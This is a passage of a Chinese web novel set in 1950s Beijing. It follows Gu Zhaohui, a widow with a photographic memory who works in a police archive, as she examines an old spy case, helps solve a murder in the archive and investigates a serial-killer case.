顾昭蕙将新发的东西放回去，然后去了厨房，拿了几张票据和钱，“这是报道时去财会领的，其它的下个月才有。”这些应该是单位福利，两张工业票，还有几张副食品票，现在待遇还挺好的。她想着既然一起生活就得交些家用。 田静兰看了一眼，也没接“你自己挣得你自己拿着吧，我和你爸工资也不低，这月你也没少往家买东西，你怕你多想所以也没说，家里不用你贴补，你现在挣工资，自己攒着，将来，不管走到哪一步，手上有钱也是你的底气。家里家用的钱和票我就放橱柜的小抽匣里了，以后你要买什么东西就从里边拿，咱家也不缺你那仨瓜俩枣的。” 顾昭蕙看了看婆婆有些冷落的脸，她知道自从蒋永兴去世田静兰就很少笑了，她能分辨出话语中的关心，也早就看到那抽匣里的钱票，她知道自己应该是感动的，可惜却忘记了应该用什么样的表情。最后也只是咧 6. 第 6 章 《五五迷雾寻踪》全本免费阅读 第六章 一大早田静兰去服务社买了豆浆油条，大院里服务社自己做的，粮票减半，算是大院内部福利，味道特别好，豆浆油条就着榨菜，难得美味早餐。 “对了小蕙，这周末你去百货大楼买一辆自行车，钱我放柜子里了，听班上人说百货大楼这几天要来一批二六自行车。正好上下班用。”田静兰喝了豆浆说道。 顾昭蕙想了想自行车还是要买一辆的，现在自行车不用票，“嗯，我周日去买一辆，妈我手上钱还够用。” “本来也该给你买一辆的，你大嫂都有。” 顾昭蕙想了想就说“那谢谢妈。”她也没推辞，心里有数就行。 蒋家条件不错，两口子工资都不高，孩子也都有工资，平常花钱的地方也不多。 之后一个星期顾昭蕙在档案室稳定下来，她保密条例背的好，第二天上班就合格了，然后被分配了一些简单的工作，多数是抄录归档整理这样的工作，王云的工作她也看在眼里，这一星期下来，也摸索的差不多。 她平常不爱说话，抄写东西又整齐又快，尤其写字正楷非常规整漂亮，可能她身份的关系，很快得到信任，档案室的很多工作就交给她来做。 她也不知道王云在王显贵面前夸了她好几次，“难得这样有文化写字好，还坐的住的年轻人，你看看我们档案室，从来没那么利索过。” 顾昭蕙最近除去上午抄写，下午临下班还抽出一个小时时间整理档案室，除了特殊加密的一个档案柜，其它文件顾昭蕙都是可以翻看的，她将档案按照时间归类，然后又根据性质编号，她从最近一年开始整理，弄出来的成果很让人高兴，找起文件更加容易一些。 看到成果王显贵很是高兴，“小顾就这么搞下去，你要是年底前弄完了，我给你请功，没准你工资还能提一级。” 顾昭蕙抿嘴笑了笑，“都是王姐教的好。” 王云在一边赶紧摆摆手，“我可没这本事，你做的好，以后咱们可能轻松不少。”这年代人不缺勤劳，只是很多事情都是从头开始，一切都靠自己摸索。 自此顾昭蕙每天工作增加了一项整理档案，虽然她只想借着这个工作，将之前一些档案资料看一下，如果没有缘由就查看，会引起别人注意。就算现在她每次翻看档案都是随意翻看，似乎没有仔细看的样子，只要回忆就会将里面内容记起来，她的眼睛就像照相机，大脑是处理器。 实际上她的收获不小，其中三月份一份卷宗让她非常在意，蒋永兴参与的一次行动，三处一组队员查到一个代号为蝰蛇的特务的上线，蝰蛇四八年开始就潜伏起来，这两年曾经策划了三起刺杀案件，其中两起成功了，杀害了两名工程师，这两位工程师与机械厂建立有关系，就是顾昭蕙父亲所在的机械厂，听说两位工程师是很重要的骨干，因为他们的遇害，机械厂成功成产都推迟几个月，损失很大。 蒋永兴加班就是帮着一组进行布控，蝰蛇很狡猾，他们利用上线进行引诱，经过几次联络才将人确定，最后机械厂家属院堵着人，却不想这人直接拉开炸弹爆炸了，房子都差点炸塌了。 顾昭蕙觉着里面有几处不对劲的地方，首先就是他们查找蝰蛇的住处，查找了四处然后才找到家属院，当时行动动静不算小，一个那么警惕的特务，怎么会还在家属院等待着，另外一个，按照档案中所说蝰蛇叫李永利，四十岁，在机械厂做钳工，平常不爱说话是个老实人，他没有家人，据说老婆得了痨病死了，没有孩子。这样人倒是符合特务的一些特征，可是具当时的记录上记载，蝰蛇被发现后直接回到家属院，然后在屋子里引爆，感觉上这人就是不想活了。这有点不符合蝰蛇的性格。 此外从上线笔录中发现，这人虽然没有见过蝰蛇，但是蝰蛇左上臂内侧有一块金钱大小的胎记。这具特别的话让她想到蒋永兴曾经问过的那句话，两个人会有一样的胎记吗？ 不可否认的因为基因遗传的关系可能会拥有一样胎记的人，但是这种巧合放到这里还是巧合吗？假如蝰蛇没有死呢？或许死的那个只是替死鬼，真正的蝰蛇利用这个机会脱身？这个人在与人接触的过程中从来没有露出过脸，或许他早就想脱身了。 这些线索整合在一起，顾昭蕙想到了蒋永兴，蒋永兴是个阳光开朗的人，也是嫉恶如仇的人，这样一个人，在什么情况下发现敌人，会隐瞒下来不报上去反而自己偷偷的查。 只有一个可能，这个人是他身边的人，甚至对他很重要的人，所以才会发现问题也不敢相信，只能自己偷偷的查探。 这个凶手就在他身边。 目前来说她掌握的也只是你这么多，想要继续探查就要了解蒋永兴平常接触的人，这个就需要一点点探索，另外就是她比较在意的是，蒋永兴的案子为什么交给三处调查，这个也是她非常在意的。难道三处的人也掌握了这些线索？ 周日，顾昭蕙去百货商店买了自行车，就像田静兰说的，百货大楼进了一批自行车，其中就有女士自行车，她到的时候还有三台，凤凰牌的二六的斜两杠自行车，要价一百二十八，价格有些贵了，旁边的二八大杠才一百二，女士车比男士车价格贵了八块，载重也不行，她倒是想买那台大的，可惜身高不行，顾昭蕙随了奶奶，骨架娇小，好在小时候不缺营养身高达到了一米六三，体型匀称，加上她皮肤白，让人一看就觉着软软糯糯的女孩，顾湘倒是个英姿飒爽的一米七二女生。 两个人完全融合外表倒是有些变化，不像顾昭蕙软乎乎，也不想顾湘英挺，现在看着是个清冷的白玉兰，秀雅智慧。 就这个身高，骑上二八大车都够不到脚蹬子。 庆幸的是现在自行车还不用票，价格也能接受，再过两三年，价格估计要涨一些，还要自行车票，买了更困难。 自行车买好，先放着，她又去买了些糕点，给爷爷买了两瓶酒，给妹 7. 第 7 章 《五五迷雾寻踪》全本免费阅读 第七章 顾昭蕙在家里做了一顿饭，陪着爷奶吃了，又用饭盒装了给父母二叔送去。 顾佳蕙骑着自行车带着顾昭蕙去了医院，到了病房就听见婴儿哭声。顾昭蕙快步走上前，打开屋子，发现二婶已经生了，母亲正抱着孩子笑弯了眼。 “妈，我二婶生了？男孩女孩？”顾佳蕙愣愣的问。 “生了，挺顺利的。小蕙你来了，看看弟弟，长得可壮实了。”顾母笑着说。 二婶子这会看见顾昭蕙，摆手打招呼，“蕙来了。”看她气色还不错，二婶子也没提别的。 顾昭蕙去看了看孩子，“得七八斤吧。”可是不小。 “七斤六两。呵呵，怀着的时候我就觉着这个孩子不小。”二婶子笑着说。 “还是吃得好，才把孩子养的这么大。”顾妈说道。 顾二婶的老爹是个屠夫，就她这一个姑娘，以前当小子养，泼辣的很，顾二叔算是个文化人，念了几年书被老爷子送到当铺当学徒，学了几年记账算盘学的特别好，后来进厂子当了会计。 顾二婶结婚后已经生了两个小子了，如今一个六岁一个四岁，都是皮小子，他们姥爷是个杀猪匠，现在进屠宰场做大师傅了，家里是不缺肉的，二叔一家跟老丈人家住的近，平常吃饭都在一起。没少给孩子开小灶，一个比一个虎式，顾二婶看着皮小子就烦，就想养个娇娇嫩嫩的小姑娘，不过许是没那个命，这个又是个姑娘。 顾二叔看了一眼大侄女，看起来气色也不错，虽然不像以前那么爱笑，却也没什么事了。 顾二叔带个眼镜，看着十分斯文，人也秀气。看着也像刚进屋的样子，正在往外拿鸡蛋，都是煮好的红鸡蛋，顾昭蕙看着估摸得有二十来个。估计刚从家里过来。 “挺好的，二叔。” 顾二叔将鸡蛋放在一边饭盒盖上，看佳蕙拿着饭盒就对顾爸说“大哥你和嫂子先吃饭吧，我问医生了，一个小时候要是没啥事咱们就能回家了，我老丈人一会推车过来。” “没事，还不饿，等给弟妹送回去，我们回家吃。”顾铜摆了摆手说。 顾二婶随手拿起两个往昭蕙和佳蕙手里递“你俩吃个喜蛋。你二叔特意弄的红鸡蛋。”够不着直接塞到二叔手里，“你给他俩吃。”说完自己拿了个鸡蛋扒开塞嘴里，一会就吃了两三个。 昭蕙将鸡蛋放到兜里，又看了会孩子，过了一会孩子姥爷过来接人，昭蕙就跟他们告别离开了。顾二叔特意送了出来。 “小蕙，你现在还好吧。婆家那边没为难你吧？”顾二叔陪着她下楼问道。 顾昭蕙点点头“我都好二叔，已经进入市局工作了。”出事后顾二叔也看过她两次，知道她决定留在蒋家，还送了不少东西，她承情。 “那就行，往前看，日子还长着呢。”顾二叔说道，“要是在蒋家住的不习惯，就回家，你爸其实挺想你回来的，咱们家不在乎那些，别人怎么说你不用管，自己日子过好就行。” “放心吧二叔，我没事的。” “行了，等你小弟满月来家里吃饭。我让你二婶给你焖蹄髈。”顾二叔看着侄女打开自行车看她的样子真是跟以前不一样了。 顾昭蕙跟二叔摆摆手“二叔回去吧，等有时间我去家里看二婶和小弟。” 顾二叔冲着她示意一下“骑车注意一点。” 回家的路上，顾昭蕙身上似乎解开一些枷锁，家人都觉着她因为伤心，有些改变，这样她不用去假装另外一个人，自在了很多，她自我觉察对外界的情感越发薄弱，像个冷漠的机器人，但是面对家人她会很容易分析出亲人对她的感情。这就够了，她会努力给与回应。 适应了一段时间后，顾昭蕙已经在档案室站住了脚，每天工作排的满满的，整理档案是一件很繁琐的工作，但是对于她来说，是一件非常好的工作。 经过了一个月时间她已经将49年后的档案整理完毕，已经按照时间性质进行了分类整理。她的工作得到了王显贵和王云的认同，因为这样整理过后，再寻找档案会容易一些，也规整很多，王科长甚至带着几个科室的同事，对档案室的工作又进行了一系列的改革，其中包括档案整理，存档复制，以及进出进行了新的规定。档案室的规矩更加规范，顾昭蕙因此立了功，虽然现在不实行军功制，但是她档案上给记了一笔。 早上来到档案室，先将窗户打开，现在实在有些热，顾昭蕙来的早一点，她打了热水，不过给自己和王云的茶缸子里倒了热水凉着。然后把档案室连着办公室打扫一遍，全都弄好了，王云正好上班，看见她已经坐在办公桌边拿着一份档案正在抄录，“小顾总是来的这么早。咱们办公室有你真是有福了。”看这屋子打扫的干干净净规规整整的，太利索了。 顾昭蕙笑了笑“王姐早。”她现在已经能跟人正常交流了。 王云坐在办公桌前，喝了一口水，水已经不热了，“小顾，等会我要开个会，西城那边要送个档案过来，怎么也要九十点中，我要不在你接收一下。你先存档。” 顾昭蕙点点头“好的王姐，有什么特别要求吗？” “没什么特别要求，是一个案子的笔录，本来应该直接送三处，但是三处那边有行动，早上告诉他们先送咱们这里。”王云也没隐瞒的说。 “那行，我跟着交接一下。” 等到了八点，王云拿着笔记离开去开会，最近会议有点多，档案室这边很多工作都交给了顾昭蕙。 顾昭蕙将手上的档案抄录好，然后进行存档，这时候复印东西还没那么方便，所以很多东西都需要人工抄录，她每天得有一半的时间做这些事情。 送文件过来的人是在九点半送来的，顾昭蕙按照规矩进行了签收，这些文件还没有达到特别保密级别，她也是可以看的，而且交接的时候需要核对页数，检查一下防止里边有所遗漏。每页都扫了一下，果然是一份笔录。 送走了人，她将文件放到抽屉进行临时存放。然后就开始做自己的事情。 今天她开始整理49年前的档案，这里边的档案就比较乱了，里边东西又多又杂，其中很大一部分还是户籍档案，另外就是案件记录档案，那时候到处都是混乱一片，记录也不是那么完全，好多案子还没有结果，这也没办法算是历史遗留问题吧。 顾昭蕙先将档案按照年份归类，这些档案非常混乱，几乎是混杂在一起的，光是将它们分开就用了一天时间，快到下班的时候才算有点样子，今天晚上是她值班，档案室也是需要值班的，不过他们值班只到晚上九点钟，九点之后她们就可以去后边值班室休息，机要科有人值班有事会过来找。 去食堂打了饭菜简单吃了，她就回到档案室，做最后的分类，之后就可以检查存档了。 正翻看着，她 8. 第 8 章 《五五迷雾寻踪》全本免费阅读 第八章 “顾昭蕙，昨天晚上你几点钟离开档案室？”刑侦一组范伟强问道。 虽然不知道具体发生了什么事情，顾昭蕙还是知道此事的严重性“十点二十，我直接回宿舍了，到宿舍时间是十点二十五分。” “你昨天离开的时候，张强是否在机要科办公室？他的行为是否正常？” “还在办公室，我离开前跟他打招呼还是他给我开的门。机要科的铁门晚上是锁着的。” “档案室的钥匙有几把，都在谁那里？”范伟强问。 “三把，我王云还有王显贵科长，我们三人每人一把，不过因为档案室人员不够，所以夜间机要科几位同志也轮着值班，所以王科长手上那把钥匙每天晚上会交给值班人员。”他们档案室人员不够，所以才会由机要科一起轮着值班，这个月王科长已经开始打报告，看看是不是将档案室的工作时间修改一下。他们档案室夜里几乎没有事情，如果值班的工作时间调到夜里九点，这样加上那位修产假的同志，他们三人轮着来，一个星期大约有两个晚班，九点下班，什么都不影响，档案室的还能更加安全。 范伟强低头记录什么，然后问她“昨天夜里你有没有发现什么不正常的地方？” 顾昭蕙摇了摇头“没有什么不正常的，一切都跟以前一样。” “你回到宿舍后没有再出来吗？” “没有。” 范伟强之后又反复问了一些事情，顾昭蕙都一一回答。 “组长，这个顾昭蕙会不会有问题？”一旁的年轻队员说道。 “怎么说？”范伟强一边翻看笔录一边说道。 “我就觉着她太冷静了，从进入审讯室，她都没有什么特别表情，对案子毫不关心，之前问过几个同事，他们没有一个表现跟她一样。”年轻人说。 范伟强摇了摇头“我们不能靠主观臆断来判断一个人，也许她就是一个比较稳的人。”他说着想了想顾昭蕙的面容，他们也不是第一次见，或许上次见面会让她更加吃惊吧。 按照几份笔录看来，顾昭蕙昨晚回到宿舍后就没有离开过，因为女生宿舍就在一楼，紧挨着值班室，值班室的人能证明昨天晚上没有人外出。 以顾昭蕙的记忆她自然认识范伟强，刑侦一组组长，是蒋兴国的组长，蒋兴国刚刚调入刑侦一组，之前的蝰蛇案就是跟着一组一起配合三处办理的案子。 上一次见面是在太平间门口，虽然只是一瞥，但足够她记住了，更何况，档案室里除了那些案件资料，全局个人档案也在其中。 暂时她没有嫌疑，但是她也被要求暂时不要离开宿舍，一直到下午一点，王显贵带着她离开，“昨天晚上张强被杀了。就死在档案室。” 顾昭蕙扭头看向王显贵，“大门用钥匙打开的？” 王显贵点点头“咱们能碰到钥匙的算上你我王云一共七位同事，如果有人有心还是能弄到的。” “死亡时间确定了吗？”顾昭蕙问。 “十二点至两点之间。” 两人说话间就到了现场，顾昭蕙才知道事情的严重性，因为现场太混乱雪腥了，半个走廊都是血液，能看到有一条长长的拖曳痕迹，可能都是专业人员，现场保护的很好。 “顾同志，现场已经勘查完毕，档案室被破坏，看着像是寻找什么？我们想请你看看，里边有什么问题。”范伟强说道，实际上他并不抱什么希望，因为档案室的王云都没有发现问题，顾昭蕙是个新人，又怎么能发现问题呢？ 顾昭蕙点点头，小心的顺着铺着的木板走了进去。 档案室里更加混乱，看的出来这里有打斗，但是顾昭蕙发现就在门口的位置就有一大块喷溅血迹，之后就是一些扭打痕迹，这些痕迹标明张强有过很强烈的反抗，但是为什么没有叫呢。 顾昭蕙盯着那些血迹看了一下，不是不叫，凶手有备而来，一刀将他的喉咙刺破，有血液喷溅，流量不大，没有伤到动脉，张强很顽强。 将现场的一切记录在脑海，大脑自动模拟，将现场进行了还原。她看向档案柜，档案柜很多都被打开了，然后大量的档案全都被弄到地上混乱的放在一起。 眼镜仔细的观察着，大脑分析着，然后她走到外侧的档案柜。她站在那里没有动。 “有什么发现？”范伟强也在观察顾昭蕙，他开始看到顾昭蕙没有动，还以为她被吓到了，但是等他细看，就发现她正在观察着现场，这姑娘一双圆杏眼，本来是很漂亮柔和的眼睛，但是当她观察室内一切的时候，眼镜会有一个微咪的动作，长长的睫毛似乎将眼中的光都遮挡了一些。此时她眼睛看向那个档案柜，专注而认真。 顾昭蕙没说什么，将手上的白手套又紧了紧，这手套有点大，有点不合手，她低头看了看地上，然后找了一处空白地面，身子甚至侧了一下，来到档案柜的侧边，然后她仔细看了看，手本来伸出去了，突然停下，看向范伟强，“这里你们检查过没有，这个档案应该是凶手要寻找的东西。” 门口几个一组人员都吃惊的看着她，范伟强惊讶的问“你怎么能这么确定？” 顾昭蕙想了想说道，“看血迹，凶手进入档案室，寻找他想要的东西。找到后，准备离开的时候被张强发现了，就在这里，凶手的反应速度很快，一刀划过张强的喉咙，张强失去发声机会，但是他进行了强烈的反抗，身上应该是身中几刀，失去反抗能力。” 她指着其中几个档案柜，“这几个档案柜里的文件应该有一部分是打斗途中撞到的。凶手发现自己已经暴露，之前想要悄悄离开的想法改变了，他将这几个档案柜乱翻一通，做出寻找文件的样子。这几个档案柜里面的档案上有血手套的痕迹。” 范伟强小心的走过去，然后叫人过来拍照。 顾昭蕙指了指她面前那个档案柜“这个档案柜，看起来跟这边的档案柜差不多，但是里边有些整齐了。”她指了指几个档案夹，又指了指其他地方的档案夹。“这里破坏不那么彻底，给人感觉就是这个档案柜里的东西不重要。他只是随意那么一翻的感觉。” 范伟强点点头，实际上他最开始带人查看现场的时候主要是注意东边几个档案柜，因为那边更像是翻找过一样。 “你是说这个人一开始是想偷偷进来找东西，但是被发现后，干脆做一个现场，让我们不清楚他在寻找什么。” 顾昭蕙点点头，“不但如此，他并没有将东西拿走。”顾昭蕙指了指其中一个档案袋。 范伟强看了过去，“这有什么问题吗？” “它的位置像里挪动了五毫米。而旁边几个档案袋没有任何变化，这人非常小心也非常专业。” 顾伟强看了看然后脸上表情古怪的说“五毫米，会不会是挪动档案袋的时候弄的？” 顾昭蕙摇了摇头，“不会的 9. 第 9 章 《五五迷雾寻踪》全本免费阅读 第九章 会议室里的几个人目瞪口呆的看着顾昭蕙，顾昭蕙没有理会几人，低头将自己记下来的笔录写下李。 没有人知道随着两个灵魂融合时间越长，她对大脑控制力也越来越强，经过这么多的时间分析，她发现自己的大脑有点像是超忆症，顾湘的脑海有这一症状的介绍，它具有自传性，过渡主观记忆。 大脑自动记忆看到听到感受到的一切，不受控制，虽然这种记忆能力让人羡慕，但实际上患者会很困扰痛苦，想象一下，一个人大脑里装了许多不必要的记忆，不受自己控制，随时出来干扰患者，那种感觉会很痛苦。所以说这是一种病症。 顾昭蕙唯一不一样的就是她造成这种症状的原因是，两个人灵魂的融合，所以当她灵魂融合程度越来越高的时候，她对自己的掌控就会越高，有时间的时候她就将自己大脑里的记忆进行分开存储，就好像一台电脑，将不同的文件放在特定的文件夹中。当她将自己记忆分类之后，就发现之后再自动收集的记忆就会自动存放在特定的位置，需要的时候自动出现，大脑毕竟不是真的电脑，还是由她的灵魂来控制。 关于这个档案，她没有特别去看，但是在记档的时候她每页都翻看了一下，是为了确认没有少页混乱，这样一来，大脑会自动存档，放在一个待定文件夹，这个文件夹里放着一个月内的文字记录，都是工作内容，她觉着不重要，但是存一个月，如果一个月后文件确实与她无关就会被放在垃圾箱里，虽然她的垃圾箱没有办法清空，可是只要放在这里，就不会再出现。减少大脑运转。 将默写好的笔录交给范伟强，顾昭蕙将钢笔帽盖上，然后就坐在那里。 范伟强看到笔录，仔细对比一下，发现里边只改了几处地方，他仔细思索一下，脸色一变，站起身“谢谢顾同志的配合。”然后跟王显贵说道“暂时档案室还要封锁一下。” 王显贵点点头，“好的，我们这边会配合，还希望你们快些抓到凶手。” 范伟强点点头，然后又看了顾昭蕙一眼，就离开了。 王云伸手拍了顾昭蕙一下，“妹子你可真厉害，这都能记住。” 顾昭蕙笑了一下，“我只是记忆力好。” “小顾，你昨天晚上到现在也没好好休息，干脆给你放两天假，不过最好就在家，万一这边有事，也好找你。”范伟强说道。 顾昭蕙点点头“好的。”因为她的发现，范伟强他们已经解除了顾昭蕙的怀疑，所以不必留在局里了。 从单位离开，其实离下班时间不久了，去了一趟服务社，今天服务社里大大的面包还有一些，这是服务社自制的，白面牛奶用料足足的，不管当早餐吃还是平常饿了的时候吃，都是很好的。 这个月的工资已经发下来了，是按十二级工资发放，40.5元，另有各种票据，在这个年代就是高薪，蒋家父母工资更高，虽然顾昭蕙想要交一些生活费，但是被田静兰给拒绝了，顾昭蕙知道他们好意，也不坚持，但是平时会做一些家务，或者平常买些食物。 前些天大院里有送牛奶的，蒋父和蒋母有一些牛奶票，现在分配还充分，估计再过两年就这些票就只能分配给出生的孩子。天热牛奶放不下，所以在奶票过期前，他们早上也会喝几次。 打开门进入院子，看见院子里那棵大枣树的枣树花已经落了，应该快结枣子了，听蒋永兴说他们家的枣子又脆又甜，‘明年枣子红了我就给你打，咱们吃脆枣，刚成熟的枣子会更加脆，好吃，不过等它成熟了，隔水一蒸更甜。’ 去厨房将面包放下，昨天她没回来，饭桌上有一个盆子，打开上面盖子，发现是发面团子。玉米面和白面的二合面，现在的白面肯定不那么白，但是麦香味特别重，玉米面磨得有些粗。今天时间充足，她去院子里拔了点小白菜，院子里铺着砖，地方也不大，种菜也不容易长，不过蒋家两口子也回过，拿了木头箱子做了种菜箱子，里边种点小白菜小葱什么的。 现在小白菜已经长了挺大的，密密麻麻的，间着采，也能采一小盆。直接在院子里的水池边上洗了，切得细细的，然后放上一些调料小葱，最后放点虾米。包成包子。 虾米是松子送来的，顾昭蕙再次从田静兰口中听见这个名字，没有看见人，那天她值班，两口子把他当成儿子，说起来都是欢喜。 包子蒸上，晚上再做个汤，从院子里剪点香菜，打一个鸡蛋，就可以做一锅好喝的汤。厨房有些热，她坐在门口，脑海里开始思考昨天晚上的案件。 案子看起来已经明了了，凶手就是为了消除笔录中的记录，那人悄悄地来悄悄地走，按照正常来说，她昨天值班后，今天上半天就行，三处的人如果下午交接档案，她就无法发现档案的细微变化。所以张强破坏了他的计划，他只能选择另外的方法。 案件与西城电厂破坏案有关系，根据笔录记载，西城电厂一个星期前，也就是七月十八号，电厂发生小规模爆炸，炸弹并没有引起人员伤亡，但是却因为重要零件受损，使得西城区三片地区停电。停电维修直到第二天下午。这是一起非常明显的特务破坏案件。 现如今，警力不足，很多大厂都有保卫科，保卫科的配置都很高，与民警区别不大，而且大多数厂子都希望有事情内部解决，如果事情严重到需要警察出现，影响就太大了。电厂的案子也一样，他们保卫科出动，开始调查案子。 与案子有关的有三人，负责夜间维护的三个值班人员，他们三人夜间会轮流巡逻机器运转。 三个人都说当天没有发现异常，也没有发现可疑人物，但是顾昭蕙按照笔录对比发现，两个笔录唯一差的就是一句话，一位值班人员说听到爆炸后他们迅速去往现场，‘我们到了之后保卫科的赵副队就跟着来了。我们前后脚。’ 这一看就是有问题，顾昭蕙又翻看后面的笔录‘我听见声音就跑过来了，当时我在厂 10. 第 10 章 《五五迷雾寻踪》全本免费阅读 第十章 谈话时间是在星期一，顾昭蕙很期待这次调动，不过让她有点意外的是，直接成为刑侦一大队一组的组员，直接诶接触蒋永兴的同事。 “咱们刑侦科三个大队，每个大队有两个组，咱们组外勤有六个同事，内勤五个。现在那那都缺人。”范伟强亲自过来接顾昭蕙，给她介绍了一下大致情况。 进了刑侦一科办公室，里面只有三个同事“咱们办公室里的人都跟进电厂的案子了。我来给你介绍一下，这是咱们组老王，王星，老探员。”范伟强说着对坐在那里的王星说道“这是档案室的顾昭蕙，老王你先带带她。让她了解一下咱们办事程序。” 王星四十多岁的年级，脸上带着笑容，看起来挺和气的，“行。我带带。” ‘王星，京城人，祖上是满族八旗，从父辈起就在警局工作，解放后查证王星并没有做出危害人民的事情，继续录用，为人圆滑，曾经带人破获恶性案件。’顾昭蕙回忆看过的资料，王星破获的那个案件细节，这人还是有些本事的，而且她也将49年前的一些案件，其中有一些是王星处理的，处理的很是公平，估计这也是他能一直留在警局工作的原因。 “咱们虽然说是市局，掌管全市刑侦，但实际上大多数案件都到不了咱们手里，各大厂子都有自己的保卫科，一般的案子都由保卫科处理了，除了保卫科还有街道派出所，所以能到咱们手上的都是大案子。”王星认真的说，“咱们现在手上的案子一个是电厂案，这个由组长直接带队，听说已经有了进展，我手上现在也有个案子。正好你过来也帮我看看。”王星说着将手上一份档案交给顾昭蕙。 他之前听说过这个姑娘，其实不光他他们第一组的所有人对顾昭蕙都有些了解，蒋永兴未婚妻，蒋永兴是个性格开朗的，当初在办公室大家没少打趣，都知道蒋永兴对象是个漂亮的姑娘，结婚那天大家都参加了，也看到了这个姑娘，孤零零的跟旁人一起站在那里，别人成双成对，只有她自己一个人，他都有点替她尴尬，不过这姑娘大大方方没有一点失礼，赢得大家好感。 可惜蒋永兴出事了，这是谁都没想到的，前些天听范组长说顾昭蕙是个天才，过目不忘还能分析案情，可有能耐呢。 顾昭蕙其实都不知道自己的表现已经被很多人注意到了，甚至三处的人都关注到了，甚至想要将她调过去，只是因为蒋永兴的事情，三处还有些犹疑所以才会将她调入刑侦一大队。 范伟强知道顾昭蕙有些能力，正好王星手上有个案子，所以让王星带带，也算是称量一下这姑娘的能耐。 顾昭蕙接过档案袋，竟然厚厚的一沓，直接打开，将里边文件抽出来，入眼的就是一沓照片，照片是黑白的，但是猛地一看也是很血腥的，照片里是一个女子，赤身躺在一处荒地，她往下看，值得注意的是，女子身上有很多刀伤，位置也极为特别。 案子发生在两个星期前，死者是在南城郊外野地里，没有发现衣物，应该不是第一案发现场。看了后面的资料，顾昭蕙有点熟悉感。 “说说你的想法。”王星说道。 顾昭蕙想了想“我看过上面验尸报告，受害者死亡前被虐待过，凶手对受害者的手段应该是带有恨意，但是我不觉受害者与凶手认识。”她说的是王星他们的调查方向，一直围绕着死者展开，发现几个嫌疑人，但是以她所看，这些人说是嫌疑人有些牵强，他们只是与受害者有些感情纠葛，但是并没有杀害死者的动机。 “哦，这是不是有点矛盾对受害者有恨，那怎么会不认识呢？”王星觉着有点不明白。 “带有恨意，说的是凶手动手状态。凶手可能将自己的情绪发泄在受害者身上，这些刀痕，应该是凶手发泄的一种手段，带着强烈的情绪，凶手对于女性带有恨意，这个女子四十岁，很多女性受害者，年纪都很轻，这个受害者在凶手的心里是个替代者，我怀疑这不是凶手第一个案子。” “怎么说？” “做的太干净，除了受害者本身的一些线索，其它的痕迹都没有。还有就是我在档案室看过一个案子，是四七年底的案子，发生在城里，一女子被抛尸公园，女子身上的伤痕与这个很相似，案子如今还是悬案。” 听到这里王星一下子精神起来，“先把那个案子找出来，看看是不是一个人做的。” 顾昭蕙自然记得这个案子，很快就找到了档案，档案里也有照片，到底是京城，办案还是有一套的，很早就有现场勘查了。 王星将两个案子对比一下，“果然很像。” 顾昭蕙说完，将两个现场照片放在一起，“两个案子看起来应该是一个凶手，不过四八年的案子可能是第一个案子，凶手的手段都比较直接。” 王星点点头，“那这个案子要怎么查？” 顾昭蕙想了一下“先从受害者查起，两个受害者都是四十来岁，估计有些共同点。”事情确实很难这个年代很多东西都没有，没有监控没有网络，想要查东西全都看人工。“除此之外我觉着如果这个人应该是连环杀人犯，凶手杀人是因为心理有问题，那么或许案子就不是这两起，也许有更多的案子发生了咱们不知道。” “连环杀人案？”王星念叨着，觉着这是个新鲜词，“你说的也有点道理，这样我找人打电话，问问看有没有相似的案子。” 又跟王星讨论一下接下来调查方向，顾昭蕙就离开了，她要去一趟四八年案子受害者家里，如果那个案子受害者是第一人的话，或许凶手就在她周围。 王星看着顾昭蕙离开的身影，忍不住感叹了一下，“还真是厉害。哎呀，落后啦。” 顾昭蕙根据档案中写的地址找了过去，东城双禄胡同，这片胡同很是规整，找人也容易了很多，双禄胡同十七号院，是个三进的大院子，受害者家在中院位置。 “请问这里是钱芳的家吗？”跟顾昭蕙一起来的是李想，才十九岁的年轻人，李想父亲是局里的人，去年抓人的时候被一辆大卡车撞了，瘫痪在床，局里就让李想接父亲的班，这小子是个机灵能干的，今年年初调到刑侦一科。 中院西厢房门口坐着的老太太听到李想问话，都愣了一下，脸色也不怎么好“人都死多少年了？” 顾昭蕙看了看老太太说道“关于钱芳的案子我们想了解一系情况。” 老太太当然看到他们穿的警服，知道是警察，所以也不说什么，回头喊了一声“老三 11. 第 11 章 《五五迷雾寻踪》全本免费阅读 第十一章 周三海眯着眼睛回忆着“那天我接了个活，帮人给房子刷漆，活是半天的，干完我就回家了，结果到了家就听见家里打闹声，我跑回去，就看见我家大小子逮着一个男的狠劲锤，钱芳就裹着个被单子在那叫喊着。” 周三海低着头“你们说这样的事，那个男的能忍，我恨呐，我真想杀了她，不过顾忌着孩子就忍了，当时家里住在西区那边，周围邻居全都知道家里情况，我都没脸再生活在那个地方，然后就搬到这了。不过我也不想看到她，干脆就在外边找活，不回家。在听到消息就是她被杀的消息，说实话我听到这个消息我心里多少有点解恨的感觉。” “来到这边后，钱芳与别人联系过吗？”顾昭蕙问。 周三海摇了摇头“我不太清楚，不过应该没有，她也被吓坏了，我大儿子也长大了，那回给那个男的打的，她也不敢了，而且我也说了孩子要娶媳妇了，她要是在弄幺蛾子，我就杀了她。” 顾昭蕙看周三海说起杀妻的时候口气依然带着恨意，她毫不怀疑如果钱芳活着的话，他会不会有一天忍不住自己动手。 “三海，家里来客了？”突然门口听到一个女人说话声，话音刚落就看一个女人从外边走进来，顾昭蕙看着女人不到三十岁的样子，肚子微微凸起，应该是怀孕了，也就三四个月的样子。 “哎，是两位公安同志。”女人有点惊讶。 “你回来了，我这里跟两位同志说说话，你去做点饭吧，凌风晚上回来吃饭。”周三海看着女人脸上带着笑意，很温柔的样子。 顾昭蕙知道这个女人是周三海第二任老婆，是前年娶的，来之前查过周三海的档案，他在解放后进入了纺织厂做电工，也算是技术工，收入还算不错，这个女人叫林桂枝，是通过别人介绍的，林桂枝是个寡妇，结婚三年丈夫就去世了，没有小孩。 顾昭蕙又问了几个问题，然后就跟李想告辞离开，走到门口的时候，就碰到回来的周凌风，周三海当年结婚早，周凌风出生的时候他才十六岁，所以现在周凌风已经快三十岁了，这人个子很高，他母亲个子就很高，属于那种高挑的大个，周凌风随母亲多一些。 许是看到穿着警服的顾昭蕙李想，周凌风愣了一下，脚步都停顿一下。 “凌风回来了，这两位公安同志过来调查一下你母亲的案子。”周三海说道。 “你好周凌风，正好我们有些问题能跟你谈谈吗？”顾昭蕙问。 周凌风笑了一下，“好的，公安同志。”他看起来很温和。 几个人就进屋落座。 “没想到你们现在还能把这个案子翻出来。我还以为案子就那么不了了之了。”周凌风说道。 “对于未破获的案子，我们肯定要继续最查下去。”顾昭蕙看着他说道。 